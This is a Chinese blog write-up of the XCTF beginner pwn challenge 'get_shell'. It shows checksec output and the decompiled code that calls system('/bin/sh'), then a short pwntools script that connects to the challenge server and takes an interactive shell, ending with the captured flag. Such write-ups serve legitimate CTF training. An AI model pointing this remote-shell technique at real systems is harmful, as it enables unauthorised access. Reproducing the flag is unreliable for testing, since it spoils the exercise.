

XCTF PWN get_shell

原创

prettyX 于 2021-06-12 20:25:30 发布 145 收藏

分类专栏: [PWN](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/prettyX/article/details/117852989>

版权



[PWN 专栏收录该内容](#)

34 篇文章 10 订阅

订阅专栏

get_shell 33 最佳Writeup由w0odpeck3r • Mastery提供

难度系数: 7.0

题目来源: 暂无

题目描述: 运行就能拿到shell呢, 真的

基本信息

```
smile@ubuntu:~/Desktop/get_shell$ file fb99f86956bd401da271f57d22010481
fb99f86956bd401da271f57d22010481: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6334e8ad1474b290bdb69d75a1b44ed029669888, not stripped
smile@ubuntu:~/Desktop/get_shell$
```

```
smile@ubuntu:~/Desktop/get_shell$ checksec --file=fb99f86956bd401da271f57d22010481
[*] '/home/smile/Desktop/get_shell/fb99f86956bd401da271f57d22010481'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

尝试运行

```
smile@ubuntu:~/Desktop/get_shell$ ./fb99f86956bd401da271f57d22010481
OK,this time we will get a shell.
$ id
uid=1000(smile) gid=1000(smile) groups=1000(smile),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
```

IDA F5

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     puts("OK,this time we will get a shell.");
4     system("/bin/sh");
5     return 0;
6 }
```

Exp

```
from pwn import *  
  
p=remote('111.200.241.244',52682)  
p.interactive()
```

```
smile@ubuntu:~/Desktop/get_shell$ python3 1.py  
[+] Opening connection to 111.200.241.244 on port 52682: Done  
[*] Switching to interactive mode  
$ ls  
bin  
dev  
flag  
get_shell  
lib  
lib32  
lib64  
$ cat flag  
cyberpeace{6869fbe1ac522ea1b0cb6d317bd8f739}  
$ https://blog.csdn.net/prettyX
```

这道题...

:)